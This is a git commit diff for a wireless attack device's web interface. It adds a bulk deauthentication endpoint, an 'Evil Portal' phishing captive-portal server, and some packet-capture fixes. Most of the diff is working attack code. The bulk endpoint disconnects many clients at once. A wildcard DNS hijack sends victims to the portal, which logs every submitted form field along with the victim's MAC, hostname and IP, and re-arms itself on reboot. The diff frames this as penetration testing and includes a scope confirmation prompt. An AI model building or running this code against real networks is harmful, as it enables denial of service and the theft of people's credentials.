feat(deauth,evilportal,capture): bulk deauth UX, Hak5-compatible Evil Portal, monitor capture fixes

- Recon AP focus sidebar: 'Deauth All Clients' with engagement-scope confirm
- Deauth Targeting card: 'Deauth All' behind the same scope confirmation
- New POST /api/attacks/deauth/bulk (max 32 targets, per-target results)
- Evil Portal tab: import EvilPortalNano-format portal zips into
  /mmc/mk8/portals, serve active portal on port 80 to unauthenticated
  clients via a minimal PHP shim, capture all form POSTs (.logs in stock
  MyPortal.php format + captures.jsonl), dnsmasq address=/#/ DNS hijack
- OpenAP: Evil Portal template dropdown (greyed when none), activated with
  the attack and stopped with it
- Monitor Capture fix: iface-less status now reports whichever monitor is
  actually capturing; pcap dir mkdir'd; tcpdump stderr surfaced instead of
  discarded
This commit is contained in:
c4ch3c4d3
2026-08-23 19:50:41 -06:00
parent f9eccd8030
commit 88d7141d45
7 changed files with 1304 additions and 29 deletions
+663 -25
View File
@@ -4437,6 +4437,21 @@ def h_attacks_deploy(ctx):
return 502, {'error': str(exc)}
update_pineap_state(mode='advanced', enabled=True, karma=True,
collect=True)
if kind == 'open':
# Optional Evil Portal binding: activate the selected template with
# the open AP; an empty value deactivates any active portal.
portal = (body.get('portal') or '').strip()
try:
if portal:
ok, err = _portal_activate(portal)
if not ok:
result['warning'] = 'portal activation failed: %s' % err
else:
result['portal'] = portal
elif _portal_active['name']:
_portal_deactivate()
except Exception as exc:
result['warning'] = 'portal activation error: %s' % exc
result['ok'] = True
return 200, result
@@ -4542,6 +4557,11 @@ def h_attacks_stop(ctx):
# Leave hop alone if a radio1 AP is still active.
if not _radio1_ap_active():
_resume_hop()
if kind == 'open' and _portal_active['name']:
try:
_portal_deactivate()
except Exception:
pass
return 200, {'ok': True, 'stopped': stopped}
@@ -4577,36 +4597,61 @@ def _capture_state(pidfile, iface):
def h_attacks_capture(ctx):
body = ctx.body or {}
action = body.get('action') or 'status'
iface = body.get('iface') or 'wlan0mon'
if iface not in ('wlan0mon', 'wlan1mon'):
iface = body.get('iface')
if iface is not None and iface not in ('wlan0mon', 'wlan1mon'):
return 400, {'error': 'iface must be wlan0mon or wlan1mon'}
pidfile = '/tmp/mk8_capture_%s.pid' % iface
capdir = '/root/loot/pcap'
running, old, stale = _capture_state(pidfile, iface)
if iface is None:
# No iface requested: report whichever capture is actually running
# across both monitors, else fall back to the default monitor. This
# keeps the UI honest when a capture was started on the other band.
states = {}
for name in ('wlan0mon', 'wlan1mon'):
running, pid, stale = _capture_state('/tmp/mk8_capture_%s.pid' % name, name)
states[name] = (running, pid, stale)
for name in ('wlan0mon', 'wlan1mon'):
if states[name][0]:
iface = name
break
else:
iface = 'wlan0mon'
running, old, stale = states[iface]
else:
pidfile = '/tmp/mk8_capture_%s.pid' % iface
running, old, stale = _capture_state(pidfile, iface)
if action == 'start':
if running:
return 200, {'running': True, 'pid': old, 'iface': iface}
device_run(['mkdir', '-p', capdir], timeout=10)
path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time()))
errlog = '/tmp/mk8_capture_%s.log' % iface
rc, out, err = device_run(
['sh', '-c',
'setsid tcpdump -i %s -s 3000 -w %s >/dev/null 2>&1 & echo $! > %s'
% (iface, path, pidfile)], timeout=10)
'setsid tcpdump -i %s -s 3000 -w %s >%s 2>&1 & echo $! > %s'
% (iface, path, errlog, '/tmp/mk8_capture_%s.pid' % iface)], timeout=10)
try:
with open(pidfile) as f:
with open('/tmp/mk8_capture_%s.pid' % iface) as f:
pid = int(f.read().strip())
except (OSError, ValueError):
pid = None
if rc != 0 or pid is None or not os.path.exists('/proc/%d' % pid):
return 502, {'error': 'tcpdump failed to start', 'detail': (err or out)[-300:]}
detail = (err or out)[-300:]
try:
with open(errlog) as f:
detail = (detail + ' ' + f.read().strip())[-300:]
except OSError:
pass
return 502, {'error': 'tcpdump failed to start',
'iface': iface, 'detail': detail.strip()}
return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface}
if action == 'stop':
if old is not None:
device_run(['kill', str(old)], timeout=10)
try:
os.unlink(pidfile)
os.unlink('/tmp/mk8_capture_%s.pid' % iface)
except OSError:
pass
return 200, {'running': False, 'stopped': old}
return 200, {'running': False, 'stopped': old, 'iface': iface}
# status
return 200, {'running': running, 'iface': iface,
'stale': stale, 'pid': old}
@@ -4647,31 +4692,609 @@ def h_attacks_download_hc22000(ctx):
return 200, Download(body, 'application/octet-stream', name)
def h_attacks_deauth(ctx):
body = ctx.body or {}
bssid = (body.get('bssid') or '').strip().upper()
client = (body.get('client') or '').strip().upper()
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid):
return 400, {'error': 'invalid AP MAC'}
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', client):
return 400, {'error': 'invalid client MAC'}
channel = body.get('channel')
try:
channel = int(channel) if channel is not None else None
except (TypeError, ValueError):
return 400, {'error': 'invalid channel'}
DEAUTH_MAC_RE = r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$'
DEAUTH_BULK_MAX = 32
def _deauth_one(bssid, client, channel):
"""Send deauth frames for one (ap, client) pair via hak5cmd.
Returns (ok, detail, inject_iface)."""
band = _band_of_channel(channel) if channel is not None else None
inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon'
if inject != 'wlan1mon':
_pineap('INTERFACE', 'INJECT', inject)
rc, out, err = device_run([HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', bssid, client,
str(channel or 1)], timeout=30)
if rc != 0:
return 502, {'error': 'deauth failed', 'detail': err or out}
return rc == 0, err or out, inject
def h_attacks_deauth(ctx):
body = ctx.body or {}
bssid = (body.get('bssid') or '').strip().upper()
client = (body.get('client') or '').strip().upper()
if not re.match(DEAUTH_MAC_RE, bssid):
return 400, {'error': 'invalid AP MAC'}
if not re.match(DEAUTH_MAC_RE, client):
return 400, {'error': 'invalid client MAC'}
channel = body.get('channel')
try:
channel = int(channel) if channel is not None else None
except (TypeError, ValueError):
return 400, {'error': 'invalid channel'}
ok, detail, inject = _deauth_one(bssid, client, channel)
if not ok:
return 502, {'error': 'deauth failed', 'detail': detail}
return 200, {'ok': True, 'bssid': bssid, 'client': client,
'channel': channel, 'inject': inject}
def h_attacks_deauth_bulk(ctx):
"""Deauthenticate many clients of one or more APs in one call."""
body = ctx.body or {}
targets = body.get('targets')
if not isinstance(targets, list) or not targets:
return 400, {'error': 'targets must be a non-empty list'}
if len(targets) > DEAUTH_BULK_MAX:
return 400, {'error': 'too many targets (max %d)' % DEAUTH_BULK_MAX}
results = []
sent = 0
for idx, t in enumerate(targets):
if not isinstance(t, dict):
results.append({'index': idx, 'ok': False, 'error': 'invalid target'})
continue
bssid = (t.get('bssid') or '').strip().upper()
client = (t.get('client') or '').strip().upper()
problem = None
if not re.match(DEAUTH_MAC_RE, bssid):
problem = 'invalid AP MAC'
elif not re.match(DEAUTH_MAC_RE, client):
problem = 'invalid client MAC'
channel = t.get('channel')
try:
channel = int(channel) if channel is not None else None
except (TypeError, ValueError):
problem = 'invalid channel'
if problem:
results.append({'index': idx, 'bssid': bssid, 'client': client,
'ok': False, 'error': problem})
continue
ok, detail, inject = _deauth_one(bssid, client, channel)
results.append({'index': idx, 'bssid': bssid, 'client': client,
'channel': channel, 'ok': ok,
**({} if ok else {'error': detail})})
if ok:
sent += 1
time.sleep(0.05)
return 200, {'results': results, 'sent': sent, 'failed': len(results) - sent}
# --------------------------------------------------------------------------
# Evil Portal: Hak5 EvilPortalNano-compatible captive portal engine.
# Portals are imported verbatim (index.php + assets + MyPortal.php + .ep);
# the backend shims the trivial PHP patterns stock portals use, serves the
# active portal on port 80 to unauthenticated clients, captures every form
# POST, and delivers victims via a dnsmasq DNS hijack.
# --------------------------------------------------------------------------
PORTALS_DIR = os.environ.get('PAGER_PORTALS_DIR', '/mmc/mk8/portals')
PORTAL_ACTIVE_FILE = os.path.join(PORTALS_DIR, '.active')
PORTAL_CAPTURES_FILE = os.path.join(PORTALS_DIR, 'captures.jsonl')
PORTAL_NAME_RE = re.compile(r'^[A-Za-z0-9._-]{1,64}$')
PORTAL_MAX_ZIP_BYTES = int(os.environ.get('PAGER_PORTAL_MAX_ZIP', str(10 * 1024 * 1024)))
PORTAL_LAN_IFACE = os.environ.get('PAGER_LAN_IFACE', 'br-lan')
PORTAL_PORT = int(os.environ.get('PAGER_PORTAL_PORT', '80'))
_portal_lock = threading.Lock()
_portal_active = {'name': None}
def _portal_root(name):
if not name or not PORTAL_NAME_RE.match(name):
return None
return os.path.join(PORTALS_DIR, name)
def _rmtree(path):
try:
for root, dirs, files in os.walk(path, topdown=False):
for f in files:
try:
os.unlink(os.path.join(root, f))
except OSError:
pass
for d in dirs:
try:
os.rmdir(os.path.join(root, d))
except OSError:
pass
os.rmdir(path)
except OSError:
pass
def _portal_list():
portals = []
try:
entries = sorted(os.listdir(PORTALS_DIR))
except OSError:
entries = []
for name in entries:
root = _portal_root(name)
if not root or not os.path.isdir(root):
continue
if not os.path.isfile(os.path.join(root, 'index.php')):
continue
size = 0
for root_dir, _, files in os.walk(root):
for f in files:
try:
size += os.path.getsize(os.path.join(root_dir, f))
except OSError:
pass
portals.append({'name': name, 'bytes': size})
return portals
def _portal_import(data_bytes, requested_name=None):
"""Import an uploaded zip (EvilPortalNano layout). Returns portal name."""
import zipfile
import io as _io
if len(data_bytes) > PORTAL_MAX_ZIP_BYTES:
raise ValueError('portal zip too large (max %d bytes)' % PORTAL_MAX_ZIP_BYTES)
try:
zf = zipfile.ZipFile(_io.BytesIO(data_bytes))
except Exception:
raise ValueError('not a valid zip file')
names = [n for n in zf.namelist() if n and not n.endswith('/')]
if not names:
raise ValueError('empty zip file')
for n in names:
if n.startswith('/') or '\\' in n or '..' in n.split('/'):
raise ValueError('unsafe path in zip: %s' % n)
tops = set(n.split('/')[0] for n in names)
prefix = ''
if len(tops) == 1 and 'index.php' not in names and \
list(tops)[0] + '/index.php' in names:
prefix = list(tops)[0] + '/'
root_names = [n[len(prefix):] for n in names]
if 'index.php' not in root_names:
raise ValueError('portal must contain index.php')
meta_name = None
ep_files = [n for n in names
if n[len(prefix):].count('/') == 0 and n.endswith('.ep')]
if ep_files:
try:
meta = json.loads(zf.read(ep_files[0]).decode('utf-8', 'replace'))
candidate = meta.get('name')
if candidate and PORTAL_NAME_RE.match(str(candidate)):
meta_name = str(candidate)
except Exception:
pass
name = (requested_name or meta_name or (list(tops)[0] if len(tops) == 1 else '')
or 'portal').strip()
if not PORTAL_NAME_RE.match(name):
raise ValueError('invalid portal name')
root = _portal_root(name)
os.makedirs(PORTALS_DIR, exist_ok=True)
if os.path.exists(root):
_rmtree(root)
os.makedirs(root, exist_ok=True)
for src in names:
rel = src[len(prefix):]
dest = _safe_join(root, rel)
if not dest or not dest.startswith(os.path.abspath(root) + os.sep):
_rmtree(root)
raise ValueError('unsafe path in zip: %s' % src)
os.makedirs(os.path.dirname(dest), exist_ok=True)
with open(dest, 'wb') as f:
f.write(zf.read(src))
return name
def _lan_ip():
rc, out, err = device_run(['ip', '-4', 'addr', 'show', PORTAL_LAN_IFACE], timeout=10)
m = re.search(r'inet (\d+\.\d+\.\d+\.\d+)', out)
return m.group(1) if m else '172.16.52.1'
def _portal_dns_hijack(enable):
ip = _lan_ip()
if enable:
device_run(['uci', 'set', 'dhcp.@dnsmasq[0].address=/#/%s' % ip], timeout=10)
else:
# Absent option / fresh config both fine; ignore failures.
device_run(['uci', 'delete', 'dhcp.@dnsmasq[0].address'], timeout=10)
device_run(['uci', 'commit', 'dhcp'], timeout=10)
device_run(['/etc/init.d/dnsmasq', 'restart'], timeout=30)
def _portal_set_active(name):
with _portal_lock:
_portal_active['name'] = name
try:
os.makedirs(PORTALS_DIR, exist_ok=True)
tmp = PORTAL_ACTIVE_FILE + '.tmp'
with open(tmp, 'w') as f:
f.write((name or '') + '\n')
os.replace(tmp, PORTAL_ACTIVE_FILE)
except OSError:
pass
def _portal_activate(name):
root = _portal_root(name)
if not root or not os.path.isfile(os.path.join(root, 'index.php')):
return False, 'unknown portal'
_portal_dns_hijack(True)
_portal_set_active(name)
return True, None
def _portal_deactivate():
active = _portal_active['name']
_portal_dns_hijack(False)
_portal_set_active(None)
return bool(active)
def _portal_restore_on_boot():
"""Re-apply the DNS hijack if a portal was left active before restart."""
try:
with open(PORTAL_ACTIVE_FILE) as f:
name = f.read().strip()
except OSError:
return
if not name:
return
root = _portal_root(name)
if root and os.path.isfile(os.path.join(root, 'index.php')):
with _portal_lock:
_portal_active['name'] = name
try:
_portal_dns_hijack(True)
except Exception:
pass
def _dhcp_leases():
leases = {}
try:
with open('/tmp/dhcp.leases') as f:
for line in f:
parts = line.split()
if len(parts) >= 3:
mac = parts[1].upper()
ip = parts[2]
hostname = parts[3] if len(parts) > 3 else ''
leases[ip] = (mac, hostname)
except OSError:
pass
return leases
def _html_escape(s):
return (s.replace('&', '&amp;').replace('<', '&lt;')
.replace('>', '&gt;').replace('"', '&quot;'))
def _php_shim(text, client_ip, dest_url):
"""Resolve the trivial PHP expressions stock EvilPortalNano pages use."""
mac, hostname = _dhcp_leases().get(client_ip, ('', ''))
values = {
'mac': _html_escape(mac),
'hostname': _html_escape(hostname),
'ip': client_ip,
'dest': dest_url,
}
def sub_expr(m):
expr = m.group(1)
if 'getClientMac(' in expr:
return values['mac']
if 'getClientHostName(' in expr:
return values['hostname']
if "$_SERVER['REMOTE_ADDR']" in expr or '$_SERVER["REMOTE_ADDR"]' in expr:
return values['ip']
if '$destination' in expr or 'HTTP_HOST' in expr:
return values['dest']
return ''
text = re.sub(r'<\?=(.*?)\?>', sub_expr, text, flags=re.S)
text = re.sub(r'<\?php.*?\?>', '', text, flags=re.S)
text = re.sub(r'<\?(?!xml)(.*?)\?>', '', text, flags=re.S)
return text
_PORTAL_MIME = {
'.html': 'text/html', '.htm': 'text/html', '.php': 'text/html',
'.css': 'text/css', '.js': 'text/javascript',
'.png': 'image/png', '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg',
'.gif': 'image/gif', '.svg': 'image/svg+xml', '.ico': 'image/x-icon',
'.woff': 'font/woff', '.woff2': 'font/woff2', '.ttf': 'font/ttf',
'.json': 'application/json', '.txt': 'text/plain',
}
def _portal_success_page(portal_name):
return ('<!DOCTYPE html><html><head><meta charset="utf-8">'
'<meta name="viewport" content="width=device-width,initial-scale=1">'
'<title>Success</title></head>'
'<body style="font-family:sans-serif;text-align:center;padding-top:15%%">'
'<h2>Authorization successful</h2>'
'<p>You may now use the network.</p>'
'<!-- %s --></body></html>' % _html_escape(portal_name or ''))
def _portal_capture(body_bytes, client_ip, portal_name):
fields = {}
try:
for k, v in _parse_qsl(body_bytes.decode('utf-8', 'replace')):
if k:
fields[k] = v
except Exception:
pass
mac, hostname = _dhcp_leases().get(client_ip, ('', ''))
ts = time.strftime('%Y-%m-%d %H:%M:%SZ', time.gmtime())
root = _portal_root(portal_name)
if root:
lines = ['[%s]' % ts]
for k in sorted(fields):
lines.append('%s: %s' % (k, fields[k]))
lines.append('hostname: %s' % hostname)
lines.append('mac: %s' % mac)
lines.append('ip: %s' % client_ip)
lines.append('')
try:
os.makedirs(root, exist_ok=True)
with open(os.path.join(root, '.logs'), 'a') as f:
f.write('\n'.join(lines))
except OSError:
pass
entry = {'ts': time.time(), 'time': ts, 'portal': portal_name,
'fields': fields, 'mac': mac, 'hostname': hostname,
'ip': client_ip}
try:
os.makedirs(PORTALS_DIR, exist_ok=True)
with open(PORTAL_CAPTURES_FILE, 'a') as f:
f.write(json.dumps(entry) + '\n')
except OSError:
pass
def _portal_handle_http(h):
"""Serve one victim request on the portal listener."""
path = h.path.split('?', 1)[0]
client_ip = h.addr[0] if h.addr else ''
host = h.headers.get('host') or ''
method = h.command
name = _portal_active['name']
root = _portal_root(name) if name else None
if not root or not os.path.isdir(root):
body = b''
h.send_response(404)
h.send_header('Content-Length', '0')
h.end_headers()
return
if method == 'POST':
# read_request() has already buffered the body; cap its size here.
data = getattr(h, 'body', b'') or b''
data = data[:65536]
_portal_capture(data, client_ip, name)
page = _portal_success_page(name).encode('utf-8')
h.send_response(200)
h.send_header('Content-Type', 'text/html; charset=utf-8')
h.send_header('Content-Length', str(len(page)))
h.send_header('Cache-Control', 'no-store')
h.end_headers()
h.connection.sendall(page)
return
rel = _unquote_plus(path.lstrip('/')) or 'index.php'
rel = rel.replace('\\', '/')
full = None if '..' in rel.split('/') else _safe_join(root, rel)
if not full or not os.path.isfile(full):
full = os.path.join(root, 'index.php')
ext = os.path.splitext(full)[1].lower()
ctype = _PORTAL_MIME.get(ext, 'application/octet-stream')
try:
with open(full, 'rb') as f:
raw = f.read(PORTAL_MAX_ZIP_BYTES)
except OSError:
raw = b''
if ext == '.php':
dest_url = 'http://' + host + path
rendered = _php_shim(raw.decode('utf-8', 'replace'), client_ip, dest_url)
raw = rendered.encode('utf-8')
ctype = 'text/html'
elif ctype == 'text/html':
ctype = 'text/html; charset=utf-8'
h.send_response(200)
h.send_header('Content-Type', ctype)
h.send_header('Content-Length', str(len(raw)))
h.send_header('Cache-Control', 'no-cache')
h.end_headers()
h.connection.sendall(raw)
class PortalHandler(PagerHandler):
"""Victim-facing handler: no auth, no same-origin, no admin surface."""
def _dispatch(self):
try:
_portal_handle_http(self)
except Exception:
try:
self.connection.sendall(b'HTTP/1.0 500 Internal Server Error\r\n'
b'Content-Length: 0\r\n\r\n')
except OSError:
pass
def _handle_portal_conn(conn, addr):
try:
conn.settimeout(30)
h = PortalHandler(conn, addr)
while not h.close_connection:
if not h.read_request():
break
h._dispatch()
except Exception:
pass
finally:
try:
conn.close()
except OSError:
pass
def _portal_server_loop():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
sock.bind((HOST, PORTAL_PORT))
except OSError:
# Port 80 unavailable (dev host, non-root): portal serving disabled.
return
sock.listen(16)
sock.settimeout(1)
while not LIVE_STOP.is_set():
try:
conn, addr = sock.accept()
except socket.timeout:
continue
threading.Thread(target=_handle_portal_conn, args=(conn, addr),
daemon=True).start()
# ---- Evil Portal management API -----------------------------------------
def h_portals_list(ctx):
portals = []
for p in _portal_list():
p['captures'] = _portal_capture_count(p['name'])
portals.append(p)
return 200, {'portals': portals, 'active': _portal_active['name']}
def _portal_capture_count(name):
count = 0
try:
with open(PORTAL_CAPTURES_FILE) as f:
for line in f:
try:
if json.loads(line).get('portal') == name:
count += 1
except Exception:
continue
except OSError:
pass
return count
def h_portals_import(ctx):
body = ctx.body or {}
data_b64 = body.get('data') or ''
try:
data = base64.b64decode(data_b64, validate=False)
except Exception:
return 400, {'error': 'invalid base64 payload'}
if not data:
return 400, {'error': 'missing zip data'}
try:
name = _portal_import(data, (body.get('name') or '').strip() or None)
except ValueError as exc:
return 400, {'error': str(exc)}
return 200, {'ok': True, 'name': name}
def h_portals_delete(ctx):
name = ctx.args[0] if ctx.args else ''
root = _portal_root(name)
if not root or not os.path.isdir(root):
return 404, {'error': 'portal not found'}
if _portal_active['name'] == name:
try:
_portal_deactivate()
except Exception:
pass
_rmtree(root)
return 200, {'ok': True}
def h_portals_activate(ctx):
name = ctx.args[0] if ctx.args else ''
ok, err = _portal_activate(name)
if not ok:
return 404, {'error': err}
return 200, {'ok': True, 'active': name}
def h_portals_deactivate(ctx):
stopped = _portal_deactivate()
return 200, {'ok': True, 'stopped': stopped}
def h_portals_captures(ctx):
limit = 200
try:
limit = max(1, min(int(ctx.query.get('limit', 200)), 1000))
except (TypeError, ValueError):
pass
entries = []
try:
with open(PORTAL_CAPTURES_FILE) as f:
for line in f:
line = line.strip()
if not line:
continue
try:
entries.append(json.loads(line))
except Exception:
continue
except OSError:
pass
return 200, {'captures': list(reversed(entries[-limit:])),
'total': len(entries)}
def h_portals_captures_clear(ctx):
try:
os.unlink(PORTAL_CAPTURES_FILE)
except OSError:
pass
return 200, {'ok': True}
def h_portal_logs(ctx):
name = ctx.args[0] if ctx.args else ''
root = _portal_root(name)
path = os.path.join(root, '.logs') if root else None
if not path or not os.path.isfile(path):
return 404, {'error': 'no captured logs'}
with open(path, 'rb') as f:
return 200, Download(f.read(), 'text/plain', '%s.logs.txt' % name)
def h_portal_download(ctx):
import zipfile
import io as _io
name = ctx.args[0] if ctx.args else ''
root = _portal_root(name)
if not root or not os.path.isdir(root):
return 404, {'error': 'portal not found'}
buf = _io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, files in os.walk(root):
for fn in files:
full = os.path.join(dirpath, fn)
rel = os.path.relpath(full, root)
try:
zf.write(full, os.path.join(name, rel))
except OSError:
continue
return 200, Download(buf.getvalue(), 'application/zip',
'%s.zip' % name)
def _pineap(*args, timeout=30):
with _pineapd_cmd_lock:
rc, out, err = device_run(['_pineap'] + list(args), timeout=timeout)
@@ -7171,6 +7794,16 @@ ROUTER.add('POST', r'/api/attacks/capture', h_attacks_capture)
ROUTER.add('GET', r'/api/attacks/export/hc22000', h_attacks_export_hc22000)
ROUTER.add('GET', r'/api/attacks/export/hc22000/([^/]+)', h_attacks_download_hc22000)
ROUTER.add('POST', r'/api/attacks/deauth', h_attacks_deauth)
ROUTER.add('POST', r'/api/attacks/deauth/bulk', h_attacks_deauth_bulk)
ROUTER.add('GET', r'/api/portals', h_portals_list)
ROUTER.add('POST', r'/api/portals/import', h_portals_import)
ROUTER.add('GET', r'/api/portals/captures', h_portals_captures)
ROUTER.add('DELETE', r'/api/portals/captures', h_portals_captures_clear)
ROUTER.add('POST', r'/api/portals/([^/]+)/activate', h_portals_activate)
ROUTER.add('POST', r'/api/portals/([^/]+)/deactivate', h_portals_deactivate)
ROUTER.add('GET', r'/api/portals/([^/]+)/logs', h_portal_logs)
ROUTER.add('GET', r'/api/portals/([^/]+)/download', h_portal_download)
ROUTER.add('DELETE', r'/api/portals/([^/]+)', h_portals_delete)
ROUTER.add('GET', r'/api/attacks/clients', h_attacks_clients)
ROUTER.add('GET', r'/api/health', h_health)
ROUTER.add('POST', r'/mcp', h_mcp)
@@ -7487,6 +8120,11 @@ def serve():
start_health_monitor()
if os.environ.get('PAGER_WEBUI_BOOT') == '1':
_enterprise_boot_recover()
try:
_portal_restore_on_boot()
except Exception:
pass
threading.Thread(target=_portal_server_loop, daemon=True).start()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((HOST, PORT))
@@ -31,6 +31,7 @@ const App = (() => {
{ key: 'dashboard', label: 'Dashboard', hash: '#/dashboard', icon: 'dashboard' },
{ key: 'pineap', label: 'PineAP', hash: '#/pineap', icon: 'wifi' },
{ key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' },
{ key: 'evilportal', label: 'Evil Portal', hash: '#/evilportal', icon: 'portal' },
{ key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' },
{ key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' },
{ key: 'harness', label: 'Harness', hash: '#/harness', icon: 'robot' },
@@ -420,6 +421,7 @@ const App = (() => {
'#/recon': 'recon',
'#/recon/reports': 'recon_reports',
'#/recon/handshakes': 'recon_handshakes',
'#/evilportal': 'evilportal',
'#/logging': 'logging',
'#/logging/system': 'logging_system',
'#/modules': 'modules',
@@ -39,5 +39,6 @@ window.PineappleIcons = {
record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>',
place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>',
play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>',
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>'
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>',
portal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12C2,16.42 4.87,20.17 8.84,21.5C9.32,21.58 9.5,21.29 9.5,21.05C9.5,20.83 9.49,20.1 9.49,19.33C7,19.79 6.41,17.82 6.41,17.82C5.97,16.68 5.33,16.39 5.33,16.39C4.45,15.79 5.39,15.8 5.39,15.8C6.36,15.87 6.86,16.79 6.86,16.79C7.73,18.27 9.15,17.84 9.71,17.59C9.8,16.97 10.05,16.54 10.32,16.3C8.14,16.06 5.85,15.22 5.85,11.44C5.85,10.37 6.23,9.5 6.85,8.81C6.75,8.57 6.41,7.57 6.95,6.22C6.95,6.22 7.78,5.96 9.49,7.11C10.29,6.89 11.13,6.78 11.97,6.78C12.81,6.78 13.65,6.89 14.45,7.11C16.16,5.96 16.99,6.22 16.99,6.22C17.53,7.57 17.19,8.57 17.09,8.81C17.71,9.5 18.09,10.37 18.09,11.44C18.09,15.23 15.8,16.06 13.61,16.3C13.96,16.6 14.27,17.19 14.27,18.1C14.27,19.4 14.26,20.45 14.26,20.77C14.26,21.03 14.44,21.32 14.92,21.23C18.89,19.93 22,16.42 22,12A10,10 0 0,0 12,2Z"/></svg>'
};
@@ -684,6 +684,7 @@ views.pineap_open = attackLauncher('open', {
title: 'OpenAP',
bssid: true,
country: true,
portal: true,
tabHash: '#/pineap/open'
});
@@ -1186,6 +1187,9 @@ function attackLauncher(kind, opts) {
text: 'Prefilled from Recon (' + (prefill.source || 'target') + '). Set the passphrase, verify the settings, then Deploy.' }));
}
let portalSel = null;
if (opts.portal) portalSel = h('select', { id: 'atk-portal' });
f.appendChild(h('div', { class: 'row', style: 'margin-top:10px' },
h('div', {}, (function () {
const deployBtn = btn('Deploy Attack', () => {
@@ -1197,6 +1201,7 @@ function attackLauncher(kind, opts) {
if (pskIn) { body.passphrase = pskIn.value; body.enctype = encSel.value; }
if (bssidIn) body.bssid = bssidIn.value.trim();
if (coSel) body.country = coSel.value;
if (portalSel) body.portal = portalSel.value || '';
runAction(deployBtn, () => PagerAPI.post('/api/attacks/deploy', body)
.then((r) => { verifiedToast(r.data || {}); load(); }), 'Deploying…');
});
@@ -1215,6 +1220,34 @@ function attackLauncher(kind, opts) {
const status = attackStatusCard();
box.appendChild(status.card);
if (opts.portal) {
const pCard = h('div', { class: 'pineap-title-card' });
pCard.appendChild(h('div', { class: 'pineap-card-title' }, 'Evil Portal'));
const pBody = h('div', { style: 'font-size:13px' });
pCard.appendChild(pBody);
box.appendChild(pCard);
PagerAPI.get('/api/portals').then((r) => {
const d = r.data || {};
const portals = d.portals || [];
portalSel.innerHTML = '';
if (!portals.length) {
portalSel.disabled = true;
portalSel.appendChild(h('option', { value: '', text: 'No portal templates imported' }));
pBody.appendChild(h('label', {}, 'Portal template', portalSel));
pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'Import a Hak5-format portal zip in the Evil Portal tab to enable credential capture.' }));
return;
}
portalSel.appendChild(h('option', { value: '', text: 'None' }));
portals.forEach((p) => portalSel.appendChild(
h('option', { value: p.name, text: p.name + (p.name === d.active ? ' (active)' : '') })));
if (d.active && portals.some((p) => p.name === d.active)) portalSel.value = d.active;
pBody.appendChild(h('label', {}, 'Portal template', portalSel));
pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'The selected portal is activated when this attack deploys and stopped with it.' }));
}).catch(() => {});
}
const hsBox = h('div', {});
const captureBox = h('div', { class: 'pineap-title-card' });
captureBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Monitor Capture'));
@@ -1226,6 +1259,9 @@ function attackLauncher(kind, opts) {
function capRow(st) {
capBody.innerHTML = '';
const run = !!(st && st.running);
// Adopt the iface the backend reports as actually capturing: the
// status poll may target a different monitor than the form default.
if (run && st.iface) capIface = st.iface;
capBody.appendChild(h('div', { class: 'row' },
h('span', { text: run ? ('Capturing on ' + (st.iface || capIface)) : 'Not capturing' }),
h('div', {}, (function () {
@@ -1384,6 +1420,24 @@ function deauthPanel(ssidRef) {
const apSel = h('select', {});
const clTable = h('div', {});
let lastLookup = '';
let lastClients = [];
const deauthAllBtn = btn('Deauth All', () => {
const parts = apSel.value.split('|');
if (!lastClients.length) { App.toast('No devices to deauth — run Find first', 'error'); return; }
if (!parts[0]) { App.toast('Pick an AP first', 'error'); return; }
if (!window.confirm('Deauthenticate ALL ' + lastClients.length +
' listed device(s) against ' + parts[0] + '?\n\nConfirm this target is IN SCOPE for your engagement.')) return;
runAction(deauthAllBtn, () => PagerAPI.post('/api/attacks/deauth/bulk', {
targets: lastClients.map((mac) => ({
bssid: parts[0], client: mac,
channel: parseInt(parts[1], 10) || null
}))
}).then((r) => {
const d = r.data || {};
App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') +
'/' + ((d.results || []).length) + ' devices');
}), 'Sending…');
}, 'danger');
function lookup(q) {
if (!q || q === lastLookup) return Promise.resolve();
lastLookup = q;
@@ -1397,6 +1451,7 @@ function deauthPanel(ssidRef) {
if (!(d.aps || []).length) apSel.appendChild(h('option', { value: '|1', text: 'No APs found — check SSID' }));
clTable.innerHTML = '';
const cl = (d.clients || []).slice(0, 30);
lastClients = cl.map((c) => c.mac || c.client_mac || '').filter(Boolean);
if (!cl.length) {
